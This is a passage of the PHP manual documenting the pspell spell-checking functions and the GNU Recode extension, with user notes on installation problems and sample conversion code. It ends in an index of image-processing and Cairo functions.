<?php
$pspell_config = pspell_config_create("en");
pspell_config_runtogether($pspell_config, true);
$pspell_link = pspell_new_config($pspell_config);
pspell_check($pspell_link, "thecat");
?>

User Contributed Notes

There are no user contributed notes for this page.


Determine whether to save a replacement pairs list along with the wordlist

  • « pspell_config_runtogether
  • pspell_new_config »
  • PHP Manual
  • Pspell Functions
  • Determine whether to save a replacement pairs list along with the wordlist

pspell_config_save_repl

(PHP 4 >= 4.0.2, PHP 5)

pspell_config_save_repl — Determine whether to save a replacement pairs list along with the wordlist

Description

bool pspell_config_save_repl ( int $dictionary_link , bool $flag )

pspell_config_save_repl() determines whether pspell_save_wordlist() will save the replacement pairs along with the wordlist. Usually there is no need to use this function because if pspell_config_repl() is used, the replacement pairs will be saved by pspell_save_wordlist() anyway, and if it is not, the replacement pairs will not be saved.

pspell_config_save_repl() should be used on a config before calling pspell_new_config().

Parameters

dictionary_link

flag

TRUE if replacement pairs should be saved, FALSE otherwise.

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Note:

This function will not work unless you have pspell .11.2 and aspell .32.5 or later.

User Contributed Notes

There are no user contributed notes for this page.


Load a new dictionary with settings based on a given config

  • « pspell_config_save_repl
  • pspell_new_personal »
  • PHP Manual
  • Pspell Functions
  • Load a new dictionary with settings based on a given config

pspell_new_config

(PHP 4 >= 4.0.2, PHP 5)

pspell_new_config — Load a new dictionary with settings based on a given config

Description

int pspell_new_config ( int $config )

pspell_new_config() opens up a new dictionary with settings specified in a config, created with pspell_config_create() and modified with pspell_config_*() functions. This method provides you with the most flexibility and has all the functionality provided by pspell_new() and pspell_new_personal().

Parameters

config

The config parameter is the one returned by pspell_config_create() when the config was created.

Return Values

Returns a dictionary link identifier on success.

Examples

Example #1 pspell_new_config()

<?php
$pspell_config = pspell_config_create("en");
pspell_config_personal($pspell_config, "/var/dictionaries/custom.pws");
pspell_config_repl($pspell_config, "/var/dictionaries/custom.repl");
$pspell_link = pspell_new_config($pspell_config);
?>

User Contributed Notes

soapergem at gmail dot com 19-Aug-2008 05:34
Today I ran into an interesting problem that I thought I'd share here to save the next developer that ends up in the same situation a whole lot of trouble. I have been running PHP5 as a FastCGI module on a Windows IIS server, and I recently installed the Aspell library and enabled the pspell extension in my php.ini file. I also installed the English Aspell dictionary. But when I went to use pspell, I was getting ambiguous errors that would terminate script execution without warning.

So I started to break things down, and came to the conclusion that the following code successfully executed its first line, but broke on the last line with the call to pspell_new_config:

<?php

$pspell_config = pspell_config_create('en');
$pspell_link = pspell_new_config($pspell_config);

?>

This returned a FastCGI error in the browser, with error number -2147467259 (0x80004005). By luck, I happened to think to try the same script via the command line, which gave a much more descriptive error. What happened was that the dictionary installer created the *.dat files in the Aspell\data directory using the Windows standard CRLF "\r\n" instead of the UNIX standard "\n" for line feeds. By changing these all back to the UNIX standard, everything worked. It's apparently very touchy about these line feeds, so if you're wracking your brain over why pspell_new_config is breaking your scripts and you're using a Windows server, start by ensuring that there aren't any extraneous "\r" characters in your dictionary files.


Load a new dictionary with personal wordlist

  • « pspell_new_config
  • pspell_new »
  • PHP Manual
  • Pspell Functions
  • Load a new dictionary with personal wordlist

pspell_new_personal

(PHP 4 >= 4.0.2, PHP 5)

pspell_new_personal — Load a new dictionary with personal wordlist

Description

int pspell_new_personal ( string $personal , string $language [, string $spelling [, string $jargon [, string $encoding [, int $mode = 0 ]]]] )

pspell_new_personal() opens up a new dictionary with a personal wordlist. The wordlist can be modified and saved with pspell_save_wordlist(), if desired. However, the replacement pairs are not saved. In order to save replacement pairs, you should create a config using pspell_config_create(), set the personal wordlist file with pspell_config_personal(), set the file for replacement pairs with pspell_config_repl(), and open a new dictionary with pspell_new_config().

For more information and examples, check out inline manual pspell website:» http://aspell.net/.

Parameters

personal

The file where words added to the personal list will be stored. It should be an absolute filename beginning with '/' because otherwise it will be relative to $HOME, which is "/root" for most systems, and is probably not what you want.

language

The language code which consists of the two letter ISO 639 language code and an optional two letter ISO 3166 country code after a dash or underscore.

spelling

The requested spelling for languages with more than one spelling such as English. Known values are 'american', 'british', and 'canadian'.

jargon

Extra information to distinguish two different words lists that have the same language and spelling parameters.

encoding

The encoding that words are expected to be in. Valid values are utf-8, iso8859-*, koi8-r, viscii, cp1252, machine unsigned 16, machine unsigned 32.

mode

The mode in which spellchecker will work. There are several modes available:

  • PSPELL_FAST - Fast mode (least number of suggestions)
  • PSPELL_NORMAL - Normal mode (more suggestions)
  • PSPELL_BAD_SPELLERS - Slow mode (a lot of suggestions)
  • PSPELL_RUN_TOGETHER - Consider run-together words as legal compounds. That is, "thecat" will be a legal compound, although there should be a space between the two words. Changing this setting only affects the results returned by pspell_check(); pspell_suggest() will still return suggestions.
Mode is a bitmask constructed from different constants listed above. However, PSPELL_FAST, PSPELL_NORMAL and PSPELL_BAD_SPELLERS are mutually exclusive, so you should select only one of them.

Return Values

Returns the dictionary link identifier for use in other pspell functions.

Examples

Example #1 pspell_new_personal()

<?php
$pspell_link = pspell_new_personal ("/var/dictionaries/custom.pws",
        "en", "", "", "", PSPELL_FAST|PSPELL_RUN_TOGETHER);
?>

User Contributed Notes

There are no user contributed notes for this page.


Load a new dictionary

  • « pspell_new_personal
  • pspell_save_wordlist »
  • PHP Manual
  • Pspell Functions
  • Load a new dictionary

pspell_new

(PHP 4 >= 4.0.2, PHP 5)

pspell_new — Load a new dictionary

Description

int pspell_new ( string $language [, string $spelling [, string $jargon [, string $encoding [, int $mode = 0 ]]]] )

pspell_new() opens up a new dictionary and returns the dictionary link identifier for use in other pspell functions.

For more information and examples, check out inline manual pspell website:» http://aspell.net/.

Parameters

language

The language parameter is the language code which consists of the two letter ISO 639 language code and an optional two letter ISO 3166 country code after a dash or underscore.

spelling

The spelling parameter is the requested spelling for languages with more than one spelling such as English. Known values are 'american', 'british', and 'canadian'.

jargon

The jargon parameter contains extra information to distinguish two different words lists that have the same language and spelling parameters.

encoding

The encoding parameter is the encoding that words are expected to be in. Valid values are 'utf-8', 'iso8859-*', 'koi8-r', 'viscii', 'cp1252', 'machine unsigned 16', 'machine unsigned 32'. This parameter is largely untested, so be careful when using.

mode

The mode parameter is the mode in which spellchecker will work. There are several modes available:

  • PSPELL_FAST - Fast mode (least number of suggestions)
  • PSPELL_NORMAL - Normal mode (more suggestions)
  • PSPELL_BAD_SPELLERS - Slow mode (a lot of suggestions)
  • PSPELL_RUN_TOGETHER - Consider run-together words as legal compounds. That is, "thecat" will be a legal compound, although there should be a space between the two words. Changing this setting only affects the results returned by pspell_check(); pspell_suggest() will still return suggestions.
Mode is a bitmask constructed from different constants listed above. However, PSPELL_FAST, PSPELL_NORMAL and PSPELL_BAD_SPELLERS are mutually exclusive, so you should select only one of them.

Return Values

Returns the dictionary link identifier on success or FALSE on failure.

Examples

Example #1 pspell_new()

<?php
$pspell_link = pspell_new("en", "", "", "",
                           (PSPELL_FAST|PSPELL_RUN_TOGETHER));
?>

User Contributed Notes

wookie 29-Sep-2008 08:52
Just as a small tip, I noticed that when you call pspell_new multiple times, php does not free memory usage when the resource is destroyed, but only when your entire script has completely finished. So if you create a pspell_link resource and you intend to use it again somewhere else, instead of calling pspell_new again, keep track of your original pspell_link resource instantiation, and use it again, your script will run much more efficiently.

I was switching between 16 dictionaries by just calling a new pspell_new everytime, my memory usage on the server grew until i hit a failure/php core dump. :-/ So i stored each pspell resource in an array keyed by language, and checked if the resource existed first, before creating one if needed.

I hope that helps someone.
allan at wagawaga dot dk 21-Aug-2008 02:00
I think the language and spelling parameters differs on different PHP versions and/or aspell/UNIX distributions.

My PHP 5.2.6 Debian ignores the spelling parameter.

Instead:

For Americans use en_US as language.
For British use en_GB (not en_UK)
For Canadian use en_CA


Save the personal wordlist to a file

  • « pspell_new
  • pspell_store_replacement »
  • PHP Manual
  • Pspell Functions
  • Save the personal wordlist to a file

pspell_save_wordlist

(PHP 4 >= 4.0.2, PHP 5)

pspell_save_wordlist — Save the personal wordlist to a file

Description

bool pspell_save_wordlist ( int $dictionary_link )

pspell_save_wordlist() saves the personal wordlist from the current session. The location of files to be saved specified with pspell_config_personal() and (optionally) pspell_config_repl().

Parameters

dictionary_link

A dictionary link identifier opened with pspell_new_personal().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 pspell_add_to_personal()

<?php
$pspell_config = pspell_config_create("en");
pspell_config_personal($pspell_config, "/tmp/dicts/newdict");
$pspell_link = pspell_new_config($pspell_config);

pspell_add_to_personal($pspell_link, "Vlad");
pspell_save_wordlist($pspell_link);
?>

Notes

Note:

This function will not work unless you have pspell .11.2 and aspell .32.5 or later.

User Contributed Notes

There are no user contributed notes for this page.


Store a replacement pair for a word

  • « pspell_save_wordlist
  • pspell_suggest »
  • PHP Manual
  • Pspell Functions
  • Store a replacement pair for a word

pspell_store_replacement

(PHP 4 >= 4.0.2, PHP 5)

pspell_store_replacement — Store a replacement pair for a word

Description

bool pspell_store_replacement ( int $dictionary_link , string $misspelled , string $correct )

pspell_store_replacement() stores a replacement pair for a word, so that replacement can be returned by pspell_suggest() later. In order to be able to take advantage of this function, you have to use pspell_new_personal() to open the dictionary. In order to permanently save the replacement pair, you have to use pspell_config_personal() and pspell_config_repl() to set the path where to save your custom wordlists, and then use pspell_save_wordlist() for the changes to be written to disk.

Parameters

dictionary_link

A dictionary link identifier, opened with pspell_new_personal()

misspelled

The misspelled word.

correct

The fixed spelling for the misspelled word.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 pspell_store_replacement()

<?php
$pspell_config = pspell_config_create("en");
pspell_config_personal($pspell_config, "/var/dictionaries/custom.pws");
pspell_config_repl($pspell_config, "/var/dictionaries/custom.repl");
$pspell_link = pspell_new_config($pspell_config);

pspell_store_replacement($pspell_link, $misspelled, $correct);
pspell_save_wordlist($pspell_link);
?>

Notes

Note:

This function will not work unless you have pspell .11.2 and aspell .32.5 or later.

User Contributed Notes

There are no user contributed notes for this page.


Suggest spellings of a word

  • « pspell_store_replacement
  • Recode »
  • PHP Manual
  • Pspell Functions
  • Suggest spellings of a word

pspell_suggest

(PHP 4 >= 4.0.2, PHP 5)

pspell_suggest — Suggest spellings of a word

Description

array pspell_suggest ( int $dictionary_link , string $word )

pspell_suggest() returns an array of possible spellings for the given word.

Parameters

dictionary_link

word

The tested word.

Return Values

Returns an array of possible spellings.

Examples

Example #1 pspell_suggest() example

<?php
$pspell_link = pspell_new("en");

if (!pspell_check($pspell_link, "testt")) {
    $suggestions = pspell_suggest($pspell_link, "testt");

    foreach ($suggestions as $suggestion) {
        echo "Possible spelling: $suggestion<br />";
    }
}
?>

User Contributed Notes

webmaster at hostpure dot com 13-Apr-2004 02:42
It seems if you are trying to do something similar to the Google 'Did you mean:' suggestions and are selecting the first word given by the pspell_suggest() function, then it will not work well with custom dictionaries and replacements. Take the following code for example:

<?php
    $pspell_config = pspell_config_create("en");
    pspell_config_personal($pspell_config, "/home/user/public_html/custom.pws");
    pspell_config_repl($pspell_config, "/home/user/public_html/custom.repl");
    $pspell_link = pspell_new_config($pspell_config);

    $words = preg_split ("/\s+/", $query);
    $ii = count($words);

    global $spellchecked;
    $spellchecked = "";

    for($i=0;$i<$ii;$i++){

        if (pspell_check($pspell_link, $words[$i]))
        {
            $spellchecked .= $words[$i]." ";
        }
        else
        {
            $erroneous = "yes";
            $suggestions = pspell_suggest($pspell_link, $words[$i]);
            $spellchecked .= $suggestions[0]." ";
        }
    }
    if($erroneous == "yes")
    {
        echo "Did you mean: <i>".$spellchecked."?";
    }
    else
    {
        echo $spellchecked . " is a valid word/phrase";
    }
?>

This works fine most of the time, and gives suggestions to what you meant when inserting a spelling mistake with most inputs. However, if you specify a custom replacement and then search for the misspelt word that you specified, then if it is not the first returned suggestion it wont be used in the 'Did you mean' end result. What you need to do is open up the custom dictionary using fopen and fread, and then for each of the suggested words, check if they are in the dictionary. If the suggested word is in the custom dictionary then use it in the 'Did you mean' part, if not, discard it and try the next. Hope this helps anyone who comes across this problem with trying to get more accurate suggestions.


GNU Recode

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Recode Functions
    • recode_file — Recode from file to file according to recode request
    • recode_string — Recode a string according to a recode request
    • recode — Alias of recode_string

User Contributed Notes

There are no user contributed notes for this page.


Introduction

This module contains an interface to the GNU Recode library. The GNU Recode library converts files between various coded character sets and surface encodings. When this cannot be achieved exactly, it may get rid of the offending characters or fall back on approximations. The library recognises or produces nearly 150 different character sets and is able to convert files between almost any pair. Most » RFC 1345 character sets are supported.

Note: This extension is not available on Windows platforms.

User Contributed Notes

There are no user contributed notes for this page.


Requirements

You must have GNU Recode 3.5 or higher installed on your system. You can download the package from » http://directory.fsf.org/All_GNU_Packages/recode.html.

Warning

The Recode library version 3.6 adds weird characters behind converted strings under certain circumstances. Thus it's safer to use Recode v3.5 or one of the available alternatives like the iconv or mbstring extension.

User Contributed Notes

There are no user contributed notes for this page.


Installation

To be able to use the functions defined in this module you must compile your PHP interpreter using the --with-recode[=DIR] option.

Warning

Crashes and startup problems of PHP may be encountered when loading the recode as extension after loading any extension of mysql or imap. Loading the recode before those extension has proved to fix the problem. This is due a technical problem that both the c-client library used by imap and recode have their own hash_lookup() function and both mysql and recode have their own hash_insert function.

Warning

The IMAP, recode, YAZ and Cyrus extensions cannot be used in conjuction, because they share the same internal symbols. Note: Yaz 2.0 and above does not suffer from this problem.

User Contributed Notes

felix at ozyx dot net 09-Feb-2012 08:55
The warnings on this page are really important.

If you ever end up with a Segmentation Fault (core dump 11), and have something similar to this in your stack trace:

Reading symbols from /libexec/ld-elf.so.1...done.
Loaded symbols for /libexec/ld-elf.so.1
#0  0x0000000805936da2 in hash_lookup (hashtab=0x8099ad600, key=0x7fffffffe590 "1:3\b\b") at misc.c:349
349     misc.c: No such file or directory.
        in misc.c
[New Thread 8016041c0 (LWP 100388)]

#0  0x0000000805936da2 in hash_lookup (hashtab=0x8099ad600, key=0x7fffffffe590 "1:3\b\b") at misc.c:349
        ret = Variable "ret" is not available.


Recode Functions

Table of Contents

  • recode_file — Recode from file to file according to recode request
  • recode_string — Recode a string according to a recode request
  • recode — Alias of recode_string

User Contributed Notes

henrique at augusto dot com 28-Mar-2014 08:08
I have problems with php5-recode and php5-odbc. With both packages installed, odbc_execute() hangs up causing Segmentation Fault. I was using a simple script to test that:

<?php
#DSN "mydb" with a user and password "marin"
$connect = odbc_connect("myaccess", "", "");

# query the users table for name and surname
$query = "SELECT * FROM FRT_NAME";

# perform the query
$result = odbc_exec($connect, $query);

# fetch the data from the database
while(odbc_fetch_row($result)){
        $name = odbc_result($result, 2);
        print("$name\n");
}

# close the connection
 odbc_close($connect);
?>

After uninstalling php5-recode, the issue is solved.
theather at I dot am 08-Aug-2005 03:55
I see that the Recode (3.6) module is also incompatible with the MySQL module as well as the others noted in the "warning" note above.
pet at humaj dot sk 30-Apr-2003 03:51
Hope this might help someone:

I tried to compile php 4.3.2-RC2 (+some older versions) with recode AND imap (and gd+png+jpeg support, ldap, gettext, zlib .. but these are not interesting right now).

Why? I needed to run Imp + Horde + Turba. Turba talks to LDAP directory (and LDAP uses utf-8 encoding which I need to convert to iso-8859-2), so I modified Turba to use 'recode' for charset conversions utf8<->iso8859-2.

System: FreeBSD4.7+Apache 1.3.27+Ben SSL

I either could not properly compile OR after compiling apache coredumped.

Problem was: imap (libc-client) and recode (librecode) use the same function hash_lookup(). Therefore during loading libphp.so (and libraries it depended on) whole apache crashed. Without a word of what's going on.

The problem is detectable by forcing static linking (in FreeBSD modify librecode.la and change
library_names='librecode.so.0 librecode.so librecode.so'
to
library_names='librecode.a'

Now during linking of php the linker complains of double definition of hash_lookup.

Solution:

-grab recode3.6 from ftp://ftp.gnu.org/pub/gnu/recode/
-unpack, go to src, in files combine.c, hash.c, names.c, recode.c, testdump.c, html.c, hash.h replace hash_lookup() by hash_lookupX() [or invent some better name],
compile recode (i had to do:

setenv CFLAGS "-I/usr/local/include"
setenv LDFLAGS "-L/usr/local/lib -lintl"
./configure --prefix=/usr/local/recode --exec-prefix=/usr/local/recode --without-included-gettext
make
make check
make install

(recode is installed to /usr/local/recode.You can change this and you can force static linking of recode, so that after building libphp.so this modified recode is no longer needed and can be deleted! )

For some reason this recode needs to have externally defined
int error;
therefore we have to modify configure script +one .c php source file:

1. modify configure script of php: find
recode_format_table();
and somewhere before start of main() add
int error;

so the result is:

char *program_name;
int error;
int main() {
recode_format_table();
; return 0; }

(I modified both occurences of recode_format_table() in configure of php4.3.2rc2)

2. run configure, should work ok (my another problem was with imap: though my c-client was compiled WITHOUT ssl, configure complained that it IS using ssl, so i had to edit configure once again and comment following lines:
void mm_searched(void){}
void mm_expunged(void){}
// char ssl_onceonlyinit();  --- commented
int main() {
// ssl_onceonlyinit(); --- commented
return 0;
}

Now configure was rather happy :-)

for the record: I did
./configure --with-apxs=/usr/local/apache/bin/apxs --with-imap --enable-sysvsem --enable-sysvshm --with-sybase=/usr/local/freetds --with-gettext --with-ldap --with-zlib --with-recode=/usr/local/recode -with-gd=/usr/local --with-jpeg-dir=/usr/local --with-png-dir=/usr/local

3. edit ext/recode/recode.c (or any other .c source file, add somewhere (e.g. at the end)
int error;

without it during linking 'error not defined' will be complained.

4. do 'make' and php is yours :-)

It took me 2 days.. so do not delete this note, someone might even find it useful and mail me his thanks :-]
cv at corbach dot de 04-Feb-2002 06:06
When compiling PHP into Apache as static module Apache configure will complain about an undefined symbol in librecode. You need recode-3.6 (e.g. on ftp://ftp.gnu.org/pub/gnu/recode/) to get rid of this error. It doesn't matter if you're compiling PHP as DSO.


Recode from file to file according to recode request

  • « Recode Functions
  • recode_string »
  • PHP Manual
  • Recode Functions
  • Recode from file to file according to recode request

recode_file

(PHP 4, PHP 5)

recode_file — Recode from file to file according to recode request

Description

bool recode_file ( string $request , resource $input , resource $output )

Recode the file referenced by file handle input into the file referenced by file handle output according to the recode request.

Parameters

request

The desired recode request type

input

A local file handle resource for the input

output

A local file handle resource for the output

Return Values

Returns FALSE, if unable to comply, TRUE otherwise.

Examples

Example #1 Basic recode_file() example

<?php
$input = fopen('input.txt', 'r');
$output = fopen('output.txt', 'w');
recode_file("us..flat", $input, $output);
?>

Notes

This function does not currently process file handles referencing remote files (URLs). Both file handles must refer to local files.

See Also

  • fopen() - Opens file or URL

User Contributed Notes

martin dot smeeckaert at gmail dot com 20-Sep-2013 01:07
The recode_file function will put the file position indicator at the end of each files, so if you want to re-use the handles use fseek beforehand.


Recode a string according to a recode request

  • « recode_file
  • recode »
  • PHP Manual
  • Recode Functions
  • Recode a string according to a recode request

recode_string

(PHP 4, PHP 5)

recode_string — Recode a string according to a recode request

Description

string recode_string ( string $request , string $string )

Recode the string string according to the recode request request.

Parameters

request

The desired recode request type

string

The string to be recoded

Return Values

Returns the recoded string or FALSE, if unable to perform the recode request.

Examples

Example #1 Basic recode_string() example

<?php
echo recode_string("us..flat", "The following character has a diacritical mark: á");
?>

Notes

A simple recode request may be "lat1..iso646-de".

See Also

  • The GNU Recode documentation of your installation for detailed instructions about recode requests.

User Contributed Notes

mori at homoeopathy dot co dot jp 20-Jun-2014 03:54
function Romaji2Kana works pretty good but few exception: "JA" and "DZA" were not converted correctly as Japanese speekes expected. Following is a correction of that behavior.

     public function convert($s, $mode='hiragana')
     {
         $s = strtoupper(str_replace(
-                            Array('shi', 'sh', 'fu', 'chi', 'ch', 'tsu', 'dz', 'l', '-',
+                            Array('shi', 'sh', 'fu', 'chi', 'ch', 'tsu', 'dzi', 'ji', 'j', 'l', '-',
                                   'â', 'î', 'û', 'ê', 'ô', 'ā', 'ī', 'ū', 'ē', 'ō'),
-                            Array('si',  'sy', 'hu', 'ti',  'ty', 'tu',  'j',  'r', '^',
+                            Array('si',  'sy', 'hu', 'ti',  'ty', 'tu',  'zi',  'zi', 'dz','r', '^',
                                   'a^', 'i^', 'u^', 'e^', 'o^', 'a^', 'i^', 'u^', 'e^', 'o^'),
                             $s));
+        // DZA -> ZIya
+        $s = preg_replace('/DZ([AUO])/e', '"ZI".strtolower("y\1")', $s);
+        // DZE -> ZIe
+        $s = preg_replace('/DZ([E])/e', '"ZI".strtolower("\1")', $s);
         // FO -> FUxo
         $s = preg_replace('@F([AIOE])@e', '"HU".strtolower("\1")', $s);
         // VO -> VUxo
msimonc at yahoo dot com 10-Oct-2008 12:33
Seems to require that librecode be installed.
Try iconv() instead.
bisqwit at iki dot fi 23-Nov-2005 07:41
Here's how to convert romaji to katakana/hiragana with PHP (transliterating Japanese text).
The function Romaji2Kana($s) will return with keys 'hira' and 'kata' that respectively contain the hiragana and katakana versions of the given string in UTF-8 encoding.

<?php
// eucjp: 2421; unicode: 3041
define('HIRATABLE', 'a A i I u U e E o O KAGAKIGIKUGUKEGEKOGOSAZASIZISUZUSEZESOZO'.
'TADATIDItuTUDUTEDETODONANINUNENOHABAPAHIBIPIHUBUPUHEBEPEHOBOPO'.
'MAMIMUMEMOyaYAyuYUyoYORARIRUREROwaWAWIWEWOn ');
// eucjp: 2521; unicode: 30A1
define('KATATABLE', 'a A i I u U e E o O KAGAKIGIKUGUKEGEKOGOSAZASIZISUZUSEZESOZO'.
'TADATIDItuTUDUTEDETODONANINUNENOHABAPAHIBIPIHUBUPUHEBEPEHOBOPO'.
'MAMIMUMEMOyaYAyuYUyoYORARIRUREROwaWAWIWEWOn VUkake');

function HiraTrans($s)
{
  #print "trans('$s')\n";
  $pos = strpos(HIRATABLE, $s);
  if($pos===false) return 0xA1BC; // ^
  return 0xA4A1 + $pos/2;
}
function KataTrans($s)
{
  $pos = strpos(KATATABLE, $s);
  if($pos===false) return 0xA1BC; // ^
  return 0xA5A1 + $pos/2;
}

function Romaji2Kana($s)
{
  $s = strtoupper(str_replace(
     Array('shi', 'sh', 'fu', 'chi', 'ch', 'tsu', 'dz', 'l', '-',
           'â', 'î', 'û', 'ê', 'ô', 'ā', 'ī', 'ū', 'ē', 'ō'),
     Array('si',  'sy', 'hu', 'ti',  'ty', 'tu',  'j',  'r', '^',
           'a^', 'i^', 'u^', 'e^', 'o^', 'a^', 'i^', 'u^', 'e^', 'o^'),
     $s));
  // FO -> FUxo
  $s = preg_replace('@F([AIOE])@e', '"HU".strtolower("\1")', $s);
  // VO -> VUxo
  $s = preg_replace('@V([AIUEO])@e', '"VU".strtolower("\1")', $s);
  // KYA -> KYya
  $s = preg_replace('@([KSTNHMRGZBPD])Y([AUO])@e',   '"\1Iy".strtolower("\2")', $s);
  // XTU -> tu (make them actually small)
  $s = preg_replace('@X(TU|Y[AUO]|[AIUEO]|KA|KE)@e', 'strtolower("\1")', $s);
  // KKO -> tuKO
  $s = preg_replace('@([KSTHMRYWGZBPDV]{2,})@e',
                      'str_pad("",2*strlen("\1")-2,"tu").substr("\1",0,1)', $s);
  // N -> n (but not NO -> nO)
  // At this point, N' will work correctly
  $s = preg_replace('@N(?![AIUEO])@', 'n', $s);
  // Unrecognized characters off
  $s = eregi_replace('[^^VAIUEOKSTNHMYRWGZBPD]', '', $s);

  $pat = '@([AIUEOnaiueo^]|..)@e';
  $rec = 'EUCJP..UTF8';

  return
    Array('hira' => recode_string($rec,preg_replace($pat, 'pack("n", HiraTrans("\1"))', $s)),
          'kata' => recode_string($rec,preg_replace($pat, 'pack("n", KataTrans("\1"))', $s)));
}

print_r( Romaji2Kana('konnichiha') );
?>

Note: Due to technical limitations in the manual pages, there are two errors in this code:
- Some characters in the first str_replace may appear wrong in some php.net mirrors. It supposed to contain aiueo with circumflex and aiueo with macron.
- The strings in the defines should be constant, not appendage expressions. (Line length limitation)

-Joel Yliluoma
jazfresh at spam-javelin.hotmail.com 27-Oct-2003 07:55
I came across a bug (and workaround) when using recode_string. When converting from utf-8 to iso-2022-jp, it would always return an empty string (although it would work fine for conversions from html to utf8). Converting with recode on the command line worked fine, which was odd. I noticed that if I specified "-v" on the command line, recode stated that it was using libiconv to do the conversion.

Using "iconv" instead of recode got the right results.
i.e.

Works:
$str = recode_string("html..utf-8", "&#26085;&#26412;&#35486;"); // Unicode for "Japanese"

Doesn't work:
$str = recode_string("utf-8..iso-2022-jp", $mystring);

Works:
$str = iconv("utf-8", "iso-2022-jp", $mystring);

Don't ask me why. Hope this saves someone some frustrating hours debugging.


Alias of recode_string

  • « recode_string
  • Image Processing and Generation »
  • PHP Manual
  • Recode Functions
  • Alias of recode_string

recode

(PHP 4, PHP 5)

recode — Alias of recode_string()

Description

This function is an alias of: recode_string().

User Contributed Notes

There are no user contributed notes for this page.


Image Processing and Generation

  • Cairo
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • Cairo Functions
    • Cairo — The Cairo class
    • CairoContext — The CairoContext class
    • CairoException — The CairoException class
    • CairoStatus — The CairoStatus class
    • CairoSurface — The CairoSurface class
    • CairoSvgSurface — Svg Surface Backend
    • CairoImageSurface — The CairoImageSurface class
    • CairoPdfSurface — The CairoPdfSurface class
    • CairoPsSurface — The CairoPsSurface class
    • CairoSurfaceType — The CairoSurfaceType class
    • CairoFontFace — The CairoFontFace class
    • CairoFontOptions — The CairoFontOptions class
    • CairoFontSlant — The CairoFontSlant class
    • CairoFontType — The CairoFontType class
    • CairoFontWeight — The CairoFontWeight class
    • CairoScaledFont — The CairoScaledFont class
    • CairoToyFontFace — The CairoToyFontFace class
    • CairoPatternType — The CairoPatternType class
    • CairoPattern — The CairoPattern class
    • CairoGradientPattern — The CairoGradientPattern class
    • CairoSolidPattern — The CairoSolidPattern class
    • CairoSurfacePattern — The CairoSurfacePattern class
    • CairoLinearGradient — The CairoLinearGradient class
    • CairoRadialGradient — The CairoRadialGradient class
    • CairoAntialias — The CairoAntialias class
    • CairoContent — The CairoContent class
    • CairoExtend — The CairoExtend class
    • CairoFormat — The CairoFormat class
    • CairoFillRule — The CairoFillRule class
    • CairoFilter — The CairoFilter class
    • CairoHintMetrics — The CairoHintMetrics class
    • CairoHintStyle — The CairoHintStyle class
    • CairoLineCap — The CairoLineCap class
    • CairoLineJoin — The CairoLineJoin class
    • CairoMatrix — The CairoMatrix class
    • CairoOperator — The CairoOperator class
    • CairoPath — The CairoPath class
    • CairoPsLevel — The CairoPsLevel class
    • CairoSubpixelOrder — The CairoSubpixelOrder class
    • CairoSvgVersion — The CairoSvgVersion class
  • Exif — Exchangeable image information
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Exif Functions
  • GD — Image Processing and GD
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • GD and Image Functions
  • Gmagick
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • Gmagick — The Gmagick class
    • GmagickDraw — The GmagickDraw class
    • GmagickPixel — The GmagickPixel class
  • ImageMagick — Image Processing (ImageMagick)
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • Imagick — The Imagick class
    • ImagickDraw — The ImagickDraw class
    • ImagickPixel — The ImagickPixel class
    • ImagickPixelIterator — The ImagickPixelIterator class

User Contributed Notes

There are no user contributed notes for this page.


Cairo

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
  • Cairo Functions
    • cairo_create — Returns a new CairoContext object on the requested surface.
    • cairo_font_face_get_type — Description
    • cairo_font_face_status — Description
    • cairo_font_options_create — Description
    • cairo_font_options_equal — Description
    • cairo_font_options_get_antialias — Description
    • cairo_font_options_get_hint_metrics — Description
    • cairo_font_options_get_hint_style — Description
    • cairo_font_options_get_subpixel_order — Description
    • cairo_font_options_hash — Description
    • cairo_font_options_merge — Description
    • cairo_font_options_set_antialias — Description
    • cairo_font_options_set_hint_metrics — Description
    • cairo_font_options_set_hint_style — Description
    • cairo_font_options_set_subpixel_order — Description
    • cairo_font_options_status — Description
    • cairo_format_stride_for_width — Description
    • cairo_image_surface_create_for_data — Description
    • cairo_image_surface_create_from_png — Description
    • cairo_image_surface_create — Description
    • cairo_image_surface_get_data — Description
    • cairo_image_surface_get_format — Description
    • cairo_image_surface_get_height — Description
    • cairo_image_surface_get_stride — Description
    • cairo_image_surface_get_width — Description
    • cairo_matrix_create_scale — Alias of CairoMatrix::initScale
    • cairo_matrix_create_translate — Alias of CairoMatrix::initTranslate
    • cairo_matrix_invert — Description
    • cairo_matrix_multiply — Description
    • cairo_matrix_rotate — Description
    • cairo_matrix_transform_distance — Description
    • cairo_matrix_transform_point — Description
    • cairo_matrix_translate — Description
    • cairo_pattern_add_color_stop_rgb — Description
    • cairo_pattern_add_color_stop_rgba — Description
    • cairo_pattern_create_for_surface — Description
    • cairo_pattern_create_linear — Description
    • cairo_pattern_create_radial — Description
    • cairo_pattern_create_rgb — Description
    • cairo_pattern_create_rgba — Description
    • cairo_pattern_get_color_stop_count — Description
    • cairo_pattern_get_color_stop_rgba — Description
    • cairo_pattern_get_extend — Description
    • cairo_pattern_get_filter — Description
    • cairo_pattern_get_linear_points — Description
    • cairo_pattern_get_matrix — Description
    • cairo_pattern_get_radial_circles — Description
    • cairo_pattern_get_rgba — Description
    • cairo_pattern_get_surface — Description
    • cairo_pattern_get_type — Description
    • cairo_pattern_set_extend — Description
    • cairo_pattern_set_filter — Description
    • cairo_pattern_set_matrix — Description
    • cairo_pattern_status — Description
    • cairo_pdf_surface_create — Description
    • cairo_pdf_surface_set_size — Description
    • cairo_ps_get_levels — Description
    • cairo_ps_level_to_string — Description
    • cairo_ps_surface_create — Description
    • cairo_ps_surface_dsc_begin_page_setup — Description
    • cairo_ps_surface_dsc_begin_setup — Description
    • cairo_ps_surface_dsc_comment — Description
    • cairo_ps_surface_get_eps — Description
    • cairo_ps_surface_restrict_to_level — Description
    • cairo_ps_surface_set_eps — Description
    • cairo_ps_surface_set_size — Description
